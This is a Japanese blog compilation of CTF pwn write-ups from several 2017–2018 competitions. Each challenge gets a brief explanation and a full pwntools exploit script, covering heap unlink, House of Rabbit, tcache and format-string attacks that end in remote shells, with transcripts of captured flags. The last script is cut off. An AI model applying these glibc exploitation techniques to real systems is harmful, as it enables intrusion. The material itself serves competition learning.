HITB-XCTF GSEC CTF 2018 Quals writeup
once (pwn, 281pts)
libcのアドレスは適当な選択をすれば漏れてくるので、適当に双方向リストのポインタを上書きした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.189.102" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('./libc-2.23.so') elf = ELF('./once') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ set environment LD_PRELOAD=./libc-2.23.so c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./once'], execute) else: conn = process(['./once']) # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'}) # preparing for exploitation def create(): conn.sendlineafter('> ', '1') def write(payload): conn.sendlineafter('> ', '2') time.sleep(0.5) conn.send(payload) def free(): conn.sendlineafter('> ', '3') def malloc(size): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '1') conn.sendlineafter('input size:', str(size)) conn.sendlineafter('> ', '4') def _free(): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '3') conn.sendlineafter('> ', '4\x00yyyyyy') def write_string(payload): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '2') time.sleep(0.5) conn.sendline(payload) # conn.recvuntil('success.') conn.sendlineafter('> ', '4') log.info('Pwning') conn.sendlineafter('> ', '-1') conn.recvline() buf = conn.recv(len('0x7fbb53834690')) libc_base = int(buf, 16) - 0x6f690 log.info('libc_bsae = 0x%x', libc_base) write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2) malloc(0x200) payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e) write_string(payload) _free() conn.recvuntil('>') create() conn.interactive()
babypwn (pwn, 253pts)
バイナリが与えられないが自明なFSBがあるためリークすることができる。適当にstdinあたりのvtableを上書きした。
#!/usr/bin/env python from pwn import * #context(os='linux', arch='unknown') #context.log_level = 'debug' # output verbose log RHOST = "47.75.182.113" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./a.out') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x4006ef c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./a.out'], execute) else: conn = process(['./a.out']) # conn = process(['hogehoge'], env={'LD_PRELOAD': ''}) # preparing for exploitation def write(addr, byte): payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr) conn.sendline(payload) log.info('Pwning') # leak libc_base conn.sendline('%41$p') conn.recvuntil('0x') libc_base = int(conn.recv(12), 16) - 0x20830 log.info('libc_base = 0x%x', libc_base) stdin = libc_base + 0x3c48e0 stdin_vtable = libc_base + 0x3c49b8 fake_vtable = libc_base + 0x3c49c0 system = libc_base + 0x45390 # set ';sh' string write(stdin+4, ord(';')) write(stdin+5, ord('s')) write(stdin+6, ord('h')) # create fake vtable for i in range(6): write(fake_vtable+0x28+i, ord(p64(system)[i])) # overwrite stdin vtable ptr a = (fake_vtable & 0xffff) payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable) conn.sendline(payload) conn.interactive()
d (pwn, 392pts)
heap overflowがあるのでchunk sizeを上書きしてunsafe unlink attackを使った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.154.113" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute) else: conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d']) # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''}) # preparing for exploitation def read(idx, msg): conn.sendlineafter('Which? :', '1') conn.sendlineafter('Which? :', str(idx)) conn.sendlineafter('msg:', msg) def edit(idx, msg): conn.sendlineafter('Which? :', '2') conn.sendlineafter('Which? :', str(idx)) conn.sendlineafter('new msg:', msg) def wipe(idx): conn.sendlineafter('Which? :', '3') conn.sendlineafter('Which? :', str(idx)) def fsa(addr, byte): payload = '' printf_plt = elf.plt['printf'] atoi_plt = elf.plt['atoi'] strlen_plt = elf.plt['strlen'] fake_chunk = 0x6021a0 log.info('Pwning') read(0, 'x' * 0x138) read(1, 'x' * 0x138) read(2, 'x' * 0x138) read(3, 'x' * 0x138) read(4, 'y' * 0x138) read(5, 'z' * 0x138) read(6, 'z' * 0x138) wipe(4) read(4, 'a'* (0x138+19)) edit(4, 'x'*0xf8) edit(4, 'x'*0xf0 + p64(0xf0)) payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10) edit(4, payload) wipe(5) edit(6, '/bin/sh\x00') edit(4, p64(0x602028)) edit(1, p64(printf_plt)[:6]) edit(0, '%2$p') conn.recvuntil('Which? :') conn.sendline('2') conn.recvuntil('Which? :') conn.sendline('0') conn.recvuntil('0x') libc_base = int(conn.recv(12), 16) - 0x3c6780 log.info('libc_base = 0x%x', libc_base) conn.sendline('hoge') edit(4, '%p') edit(4, p64(0x602018)) edit(1, '%p') edit(1, p64(libc_base + 0x45390)[:7]) conn.interactive()
mutepig (pwn, 833pts)
House of Rabbit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.128.158" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./mutepig') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ set follow-fork-mode parent b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./mutepig'], execute) else: conn = process(['./mutepig']) # conn = process(['./mutepig'], env={'LD_PRELOAD': ''}) # preparing for exploitation def create(_type, payload): time.sleep(0.1) conn.sendline('1') conn.sendline(str(_type)) time.sleep(0.1) conn.send(payload) time.sleep(0.1) def free(idx): time.sleep(0.1) conn.sendline('2') time.sleep(0.1) conn.sendline(str(idx)) time.sleep(0.1) def write(idx, payload, payload2): time.sleep(0.1) conn.sendline('3') time.sleep(0.1) conn.sendline(str(idx)) time.sleep(0.1) conn.send(payload) time.sleep(0.1) conn.send(payload2) log.info('Pwning') time.sleep(0.1) create(3, 'x'*7) free(0) create(3, 'y'*7) free(1) create(1, 'fast') # 2 create(2, 'small') # 3 free(2) payload = p64(0) + p64(0x11) + p64(0x0) + p64(0xfffffffffffffff1) write(2, p64(0x602130)[:7], payload) free(3) # malloc_consolidate payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xa00001) write(3, 'w'*7, payload) create(3, '/bin/sh') payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xfffffffffffffff1) write(3, 'w'*7, payload) create(13337, 'a'*7) create(1, p64(0x0000000000602018)[:7]) write(0, p64(0x00000000004006e6)[:7], 'hoge') free(2) conn.interactive()
gundom (pwn, 487pts)
tcache
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.37.114" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('./libc.so.6') elf = ELF('./gundam') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./gundam'], execute) else: conn = process(['./gundam']) # conn = process(['./gundam'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def build(name, idx): conn.sendlineafter('Your choice : ', '1') conn.sendafter('The name of gundam :', name) time.sleep(0.1) conn.sendlineafter('The type of the gundam :', str(idx)) time.sleep(0.1) def visit(): conn.sendlineafter('Your choice : ', '2') time.sleep(0.1) def destroy(idx): conn.sendlineafter('Your choice : ', '3') conn.sendlineafter('Destory:', str(idx)) time.sleep(0.1) def blow(): conn.sendlineafter('Your choice : ', '4') time.sleep(0.1) log.info('Pwning') build('x'*0x10, 0) build('y'*0x10, 1) destroy(0) destroy(0) build('x'*0x1, 0) visit() conn.recvuntil('Gundam[2] :') heap_base = u64(conn.recv(6) + '\x00\x00') - 0x278 log.info('heap_base = 0x%x', heap_base) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) blow() build('\x90'*0x1, 0) visit() conn.recvuntil('Gundam[0] :') libc_base = u64(conn.recv(6) + '\x00\x00') - 0x3dac90 log.info('libc_base = 0x%x', libc_base) destroy(1) payload = p64(0) + p64(0x61) + p64(libc_base + 0x3dac78) * 2 + 'a'*0x40 + p64(0x60) + p64(0x100) build(payload, 2) build(p64(libc_base + 0x3da9cc) + p64(0) + p64(heap_base + 0x3d0)*2, 0) build('hoge', 0) free_hook = libc_base + 0x3dc8a8 short_buf = libc_base + 0x3daa63 payload = '\x00'* 4 + p64(0xfbad208b) + p64(short_buf) + p64(short_buf+1) + p64(short_buf) * 4 + p64(free_hook-2) + p64(free_hook+8) build(payload, 0) conn.sendline('3') conn.send('0\x00' + p64(libc_base + 0xfccde)) #conn.send('0\x00' + 'x'*8) conn.interactive()
最後に
最近はCTFをするときにMAN WITH A MISSIONのRaise your flagを聴いている(本当は適当にプレイリストを流しているだけ)。 CTFっぽい名前なのか良い感じにfirst bloodを取れるのでジンクスとして続けていこうとかと思っている。
BackdoorCTF 2018 SHELTER, BOOKKEEPING writeup
SHELTER (pwn, 200pts)
機能
ノート管理系のアプリ。ノートの新規作成とノートの削除を行うことができる。ノートの作成時に作成されたノートが割り当てられたメモリのアドレスを教えてくれる。また、3.Help
を選択するとcode領域のアドレスを得ることができる。削除するときはindexを指定して実行する。indexは新規作成されたたびにインクリメントされていき、削除されてもデクリメントされない。
# ./challenge --- Menu --- 1.New note 2.Delete note 3.Help 4.Exit choice > 1 Enter content > hogehoge Created at 0x5595c8fb3010 ! --- Menu --- 1.New note 2.Delete note 3.Help 4.Exit choice > 3 I am located at 0x5595c7af0c1a
構造体
ノートの構造体は以下のようになっていた。malloc()
で取得できるチャンクのサイズは0x100byteとなる。関数ポインタはノートの削除時にfree()
が行われる前に呼び出される。削除に成功した旨を出力すう関数のポインタが設定される。
struct Note { void* func_ptr; char content[0xf0]; }
vuln
ノート作成時に、読み込むbyte数が0xf1byteとなっており、buffer overflowが存在する。直下のチャンクのサイズを1byteだけ任意の値に書き換えることができる。 また同じindexを複数回数指定できるためdouble freeがある。
exploit
get_shell()
というシェルを起動してくれる関数がいるため、func_ptrを任意の値にしてget_shell()
を呼び出す。
PREV_INUSE
をクリアして、チャンクの統合を起こし、free済みのfunc_ptrを任意に書き込めるようにして、get_shell()
を呼んだ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "51.15.73.163" RPORT = 8088 LHOST = "127.0.0.1" LPORT = 8088 # libc = ELF('./libc.so.6') elf = ELF('./challenge') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./challenge'], gdbscript=execute) else: conn = process(['./challenge']) # conn = process(['./challenge'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation log.info('Pwning') def new_note(content): conn.sendlineafter('choice >', '1') conn.sendafter('Enter content >', content) conn.recvuntil('at ') return int(conn.recv(14), 16) def del_note(idx): conn.sendlineafter('choice >', '2') conn.sendlineafter('Enter index to delete note >', str(idx)) def help(): conn.sendlineafter('choice >', '3') conn.recvuntil('I am located at ') return int(conn.recv(14),16) # leak bin_base bin_base = help() - 0xc1a log.info('bin_base = 0x%x', bin_base) heap_base = new_note('x'*0xf0) - 0x10 fake_chunk = heap_base + 0x70 log.info('heap_base = 0x%x', heap_base) new_note('y'*0xf0) new_note('z'*0xf0) del_note(0) # ptr.fd->bk == ptr # ptr.bk->fd == ptr payload = 'a' * 0x58 + p64(0x0) + p64(0x91) +p64(fake_chunk) + p64(fake_chunk) + 'b'*0x70 + p64(0x90) + '\x00' new_note(payload) del_note(1) new_note(p64(bin_base + 0xa30)*0x18) del_note(1) conn.interactive()
# python exploit.py r [*] '/root/ctf/backdoorCTF2018/shelter/challenge' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 51.15.73.163 on port 8088: Done [*] Pwning [*] bin_base = 0x5642f01b8000 [*] heap_base = 0x5642f15a7000 [*] Switching to interactive mode $ ls challenge flag.txt $ cat flag.txt CTF{Y0U_4R3_T0_B3_R3W4RD3D}
BOOKKEEPING (pwn, 350pts)
ノート管理アプリ。
サイズを指定できて、負数を入力するとチャンクのサイズを小さくできる。適当にやったらシェルが取れた。ただposixの共有メモリとか使っていて、verifier.o
の方からしかflagを読めない。しかし、シェルを取ったらディレクトリに運営の想定解法っぽいexploitがあったので、それを実行したらフラグが降ってきた。途中で気づいたのか、想定解法は削除されていた。
#!/usr/bin/env python from pwn import * import subprocess context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "51.15.73.163" RPORT = 8888 LHOST = "127.0.0.1" LPORT = 8888 # libc = ELF('') elf = ELF('./service.o') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./service.o'], gdbscript=execute) else: conn = process(['./service.o']) # conn = process(['./service.o'], env={'LD_PRELOAD': ''}) # preparing for exploitation def add_note(length, title, body): conn.sendlineafter('>', '1') conn.sendlineafter('Enter note length>', str(length)) conn.sendlineafter('Enter title>', title) conn.sendlineafter('Enter note body>', body) def delete_note(idx): conn.sendlineafter('>', '2') conn.sendlineafter('Enter note index>', str(idx)) def edit_note(idx, title, body): conn.sendlineafter('>', '3') conn.sendlineafter('Enter note index>', str(idx)) conn.sendlineafter('Enter title>', title) conn.sendlineafter('Enter note body>', body) def print_note(idx): conn.sendlineafter('>', '4') conn.sendlineafter('Enter note index>', str(idx)) conn.recvuntil('Title: ') title = conn.recvuntil('Body: ') body = conn.recvuntil('Welcome') return (title, body) log.info('Pwning') subprocess.call(['rm', '-f', '/dev/shm/notes_dir']) # leak add_note(-0x10, 'x'*0x20, '\n') add_note(0x10, 'y'*0x20, 'y'*0xf) add_note(0x10, 'y'*0x20, 'y'*0xf) delete_note(1) (_, buf) = print_note(0) libc_base = u64(buf[:6]+'\x00\x00') - 0x3c4b78 log.info('libc_base = 0x%x', libc_base) add_note(0x10, 'y'*0x20, 'y'*0xf) delete_note(2) add_note(-0x40, 'a'*0x20, '\n') add_note(-0x40, 'b'*0x20, '\n') add_note(-0x40, 'c'*0x20, '\n') delete_note(3) payload = 'v'*0x60 + p64(0x70) + p64(0x71) + p64(libc_base + 0x3c4aed) edit_note(2, payload, '\n') add_note(-0x40, 'd'*0x20, '\n') payload = '\x00' * 3 + p64(0) * 2 + p64(libc_base + 0x4526a) add_note(-0x40, payload, '\n') delete_note(0) conn.sendlineafter('>', '1') conn.sendlineafter('Enter note length>', '1') conn.interactive()
# python exploit.py r [*] '/root/ctf/backdoorCTF2018/bookkeeping/service.o' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 51.15.73.163 on port 8888: Done [*] Pwning [*] libc_base = 0x7fa4a7097000 [*] Switching to interactive mode $ ls Makefile flag service.c service.o verifier.c verifier.o $ cat flag cat: flag: Permission denied
# python exp.py [+] Opening connection to 51.15.73.163 on port 8888: Done Title: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Body: \x80\xa2\x1a Welcome to note taker 1. Add a note 2. Delete a note 3. Edit a note 4. Print a note 5. Exit 6. Get flag > [*] Heap base @: 0x21aa000 Title: CTF{d1d_y0u_ju57_wr173_p457_7h3_30f?} Body: Welcome to note taker 1. Add a note 2. Delete a note 3. Edit a note 4. Print a note 5. Exit 6. Get flag > [*] Closed connection to 51.15.73.163 port 8888
UCSB iCTF 2018 hero_text_adventure writeup
vuln
武器の名前の大きさは、0x20byteとなっている。しかし、4) give weapon a new name
で入力できるサイズが0x24byteとなっている。NULL終端されるため0x23byteが自由に制御でき、3byteがオーバーフローする。オーバフローする部分は、次の武器の関数ポインタであるため、装備する武器を変えてバトルすれば任意の処理へ制御を飛ばすことができる。
exploit
脆弱性を使用するためには、武器を2つ購入して最初に購入した武器を装備し名前を変えればいい。
書き換えた関数ポインタが呼ばれるとき、rdi(第一引数)は自分の名前を指すポインタ(player@0x603240)を格納している。なのでprintf(name)
をして、必要なアドレスをリークした。
書き換えられるバイト数は3byteだけなので、libcのsystem関数をそのまま書き込むことはできない。なのでバイナリ中で使用しているreadline
関数を一旦呼び出して、player以下の領域を任意の値を書き換えられるようにした。
最後は適当に調整して、system('/bin/sh')
を呼び出した。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "127.0.0.1" RPORT = 20007 LHOST = "127.0.0.1" LPORT = 20007 # libc = ELF('') elf = ELF('./hero_text_adventure') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./hero_text_adventure'], gdbscript=execute) else: conn = process(['./hero_text_adventure']) # conn = process(['./hero_text_adventure'], env={'LD_PRELOAD': ''}) # preparing for exploitation log.info('Pwning') conn.sendline('N') conn.sendline('%p.%p.%p.') conn.sendline('1') # make money conn.sendline('1337') conn.sendline('10000') # buy weapon conn.sendline('2') conn.sendline('1') # buy weapon conn.sendline('2') conn.sendline('2') # equip conn.sendline('3') conn.sendline('1') # give a name to weapon conn.sendline('4') payload = 'x'* 0x20 + p32(0x400ebf) # printf conn.send(payload) # equip conn.sendline('3') conn.sendline('2') # trigger vuln conn.sendline('1') conn.recvuntil('.0x28.') libc_base = int(conn.recv(len('0x7f4c4f89b0a4')), 16) - 0x3c40a4 log.info('libc_base = 0x%x', libc_base) # equip conn.sendline('3') conn.sendline('1') # give a name to weapon conn.sendline('4') payload = 'x'* 0x20 + p32(0x400C84) conn.send(payload) # equip conn.sendline('3') conn.sendline('2') # trigger vuln conn.sendline('1') payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + 'a'*0x30 payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + p64(libc_base + 0x45390) conn.send(payload) conn.send(p64(libc_base + 0x45390)) conn.recvuntil('6) exit') conn.sendline('1') conn.interactive()
さいごに
First Bloodを取れたので嬉しい。
Christmas CTF 2017 writeup
はじめに
クリスマスに予定がなかったのでCTFしてた。TokyoWesternsで参加して1829点で3位だった。賞金が降ってくるらしいのでちょっとしたクリスマスプレゼントっぽくなった。解けた問題のwrteiupを書く。
[PWNABLE] BOOKSTORE
C++で書かれたバイナリで、Stringを使っている。なのでbofは存在しない。しかし未初期化バグがあるので、それをうまく使うことで任意の箇所を操作できるようになる。操作は本の価格と個数で決まるので、適当に本の値段を1にしておいて買うときに個数を調整した。
適当にbssあたりに偽の本を作っておきアドレスのリークを行った。リモートとローカルでライブラリのマッピングされる位置が違ったのか少し手こずった。最終的にはlibcのアドレスをリークしてから、environ
の値をリークさせてstackのアドレスを得てretrun addressを書き換えるようにした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "207.148.67.213" RPORT = 1337 LHOST = "127.0.0.1" LPORT = 1337 # libc = ELF('') elf = ELF('./bookstore') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./bookstore'], execute) else: conn = process(['./bookstore']) # conn = process(['./bookstore'], env={'LD_PRELOAD': ''}) # preparing for exploitation def add_book(name, desc, price, pub): conn.sendlineafter('5. Exit', '1') time.sleep(0.1) conn.sendlineafter('Name : ', name) time.sleep(0.1) conn.sendlineafter('Description : ', desc) time.sleep(0.1) conn.sendlineafter('Price : ', str(price)) time.sleep(0.1) conn.sendline(pub) time.sleep(0.1) def create_pub(name, desc): conn.sendlineafter('5. Exit', '2') time.sleep(0.1) conn.sendlineafter('Name : ', name) time.sleep(0.1) conn.sendlineafter('Description : ', desc) time.sleep(0.1) def view_books(): conn.sendlineafter('5. Exit', '3') time.sleep(0.1) def list_pubs(): conn.sendlineafter('5. Exit', '4') time.sleep(0.1) def sell_book(name, num): conn.sendlineafter('5. Exit', '5') time.sleep(0.1) conn.sendlineafter('Book Name : ', name) time.sleep(0.1) conn.sendlineafter('Num : ', str(num)) time.sleep(0.1) def write_word(addr, value): payload = 'a'*0x40 + p64(0x0) + p64(addr) create_pub(str(value), payload) add_book(str(value), 'zzzz', 0x1, '') sell_book(str(value), value) log.info('Pwning') fake_addr = 0x6063c0 payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8) create_pub('hoge', payload) add_book('xxxx', 'yyyy', 1, '') sell_book('xxxx', 0x000000000605fe8) # stdout payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 0x10) create_pub('fuga', payload) add_book('wwww', 'zzzz', 1, '') sell_book('wwww', 0x6) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr) create_pub('piyo', payload) add_book('oooo', 'pppp', 1, '') view_books() for i in range(3): conn.recvuntil('Publisher : ') libc_base = u64(conn.recv(6) + '\x00\x00') - 0x0000000000020740 log.info('libc_base = 0x%x', libc_base) one_gadget = libc_base + 0xf1117 environ = libc_base + 0x3c6f38 fake_addr = 0x6063e0 payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8) create_pub('hoge', payload) add_book('1', 'yyyy', 1, '') sell_book('1', environ&0xffffffff) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 4) create_pub('hoge', payload) add_book('2', 'yyyy', 1, '') sell_book('2', environ>>32) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 8) create_pub('hoge', payload) add_book('3', 'yyyy', 1, '') sell_book('3', 6) payload = 'a'*0x40 + p64(0x0) + p64(fake_addr) create_pub('4', payload) add_book('4', 'pppp', 1, '') view_books() for i in range(7): conn.recvuntil('Publisher : ') stack_base = u64(conn.recv(6) + '\x00\x00') log.info('stack_base = 0x%x', stack_base) # libc_start_main+240 -> one_gadget_rce write_word(stack_base-0xf0, 0xd08e7) conn.interactive()
root@ubuntu:~/ctf/XmasCTF/bookstore# python exp.py r [*] '/root/ctf/XmasCTF/bookstore/bookstore' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 207.148.67.213 on port 1337: Done [*] Pwning [*] libc_base = 0x7fba5dc79000 [*] stack_base = 0x7ffd89fb90d8 [*] Switching to interactive mode 1. Add Book 2. Create Publisher 3. View All Book 4. List Publisher 5. Sell Book 5. Exit $ 6 $ id uid=1000(bookstore) gid=1000(bookstore) groups=1000(bookstore) $ cat /home/bookstore/flag XMAS{ca11_m3_010-5328-7405}
[PWNABLE] INFINITE CAT THEOREM
ランダムに生成されたバイト列が実行されるが、srand()
に渡るseed
はstack bofによって任意の値にできる。また同時にstack bofによってreturn addressを操作できるので、任意のseed
によるsrand()
を実行させることができる。これを用いてexecve('/bin/sh')
を実行するシェルコードを生成した。
get_seed()
はour godが書いてくれた。感謝。
#!/usr/bin/env python from pwn import * from ctypes import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log libc = cdll.LoadLibrary("libc.so.6") RHOST = "45.32.113.43" RPORT = 12025 LHOST = "127.0.0.1" LPORT = 12025 # libc = ELF('') elf = ELF('./infinite_cat') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400B0A c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./infinite_cat'], gdbscript=execute) else: conn = process(['./infinite_cat']) # conn = process(['./infinite_cat'], env={'LD_PRELOAD': ''}) # preparing for exploitation def get_seed(n): if isinstance(n, basestring): n = ord(n) for i in xrange(0,65536): libc.srand(c_int(i)) if libc.rand() % 256 == n: return i return None def make_byte(seed): conn.sendlineafter('length: ', '1') time.sleep(0.01) payload = 'x'* 0xc + p64(seed) + p64(0) * 3 + p64(main_addr) conn.sendafter('your cat makes seed dynamic, any comment?', payload) time.sleep(0.01) log.info('Pwning') main_addr = elf.symbols['main'] shellcode = asm(shellcraft.sh()) for c in shellcode: make_byte(get_seed(c)) time.sleep(1) conn.sendlineafter('length: ', '1') conn.sendafter('your cat makes seed dynamic, any comment?', 'hoge') conn.interactive()
root@ubuntu:~/ctf/XmasCTF/infine_cat# python exploit.py r [*] '/root/ctf/XmasCTF/infine_cat/infinite_cat' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 45.32.113.43 on port 12025: Done [*] Pwning [*] Switching to interactive mode length: $ 1 your cat makes seed dynamic, any comment? $ hoge Now printing... $ ███╗ ██╗ ██╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ████╗ ██║ ╚██╗ ██╔╝ ██╔══██╗ ████╗ ██║ ██╔════╝ ██╔██╗ ██║ ╚████╔╝ ███████║ ██╔██╗ ██║ ██║ ███╗ ██║╚██╗██║ ╚██╔╝ ██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ╚████║ ██║ ██║ ██║ ██║ ╚████║ ╚██████╔╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ $ id uid=1000(infinite_cat_theorem) gid=1000(infinite_cat_theorem) groups=1000(infinite_cat_theorem) $ cat flag XMAS{your_cat_will_write_works_of_Shakespeare}
[PWNABLE] CHILDVM
独自VM。
free()
後にポインタのクリアをしないため、unsortedbinに入るチャンクからだとlibcのアドレスをリークできる。あとは値をリークさせてから__free_hook
へsystem()
を書き込んだ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') RHOST = "45.32.113.43" RPORT = 31338 LHOST = "127.0.0.1" LPORT = 31338 # libc = ELF('./libc.so.6_32') elf = ELF('./childvm') offset = 0x1b27b0 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./childvm'], gdbscript=execute) else: conn = process(['./childvm']) # conn = process(['./childvm'], env={'LD_PRELOAD': './libc.so.6_32'}) # preparing for exploitation log.info('Pwning') def movi(op1, op2): return chr(16) + p32(op1) + p32(op2) def malloc(op1, op2): return chr(32) + p32(op1) + p32(op2) def free(op1, op2): return chr(48) + p32(op1) + p32(op2) def movxy(op1, op2): return chr(64) + p32(op1) + p32(op2) 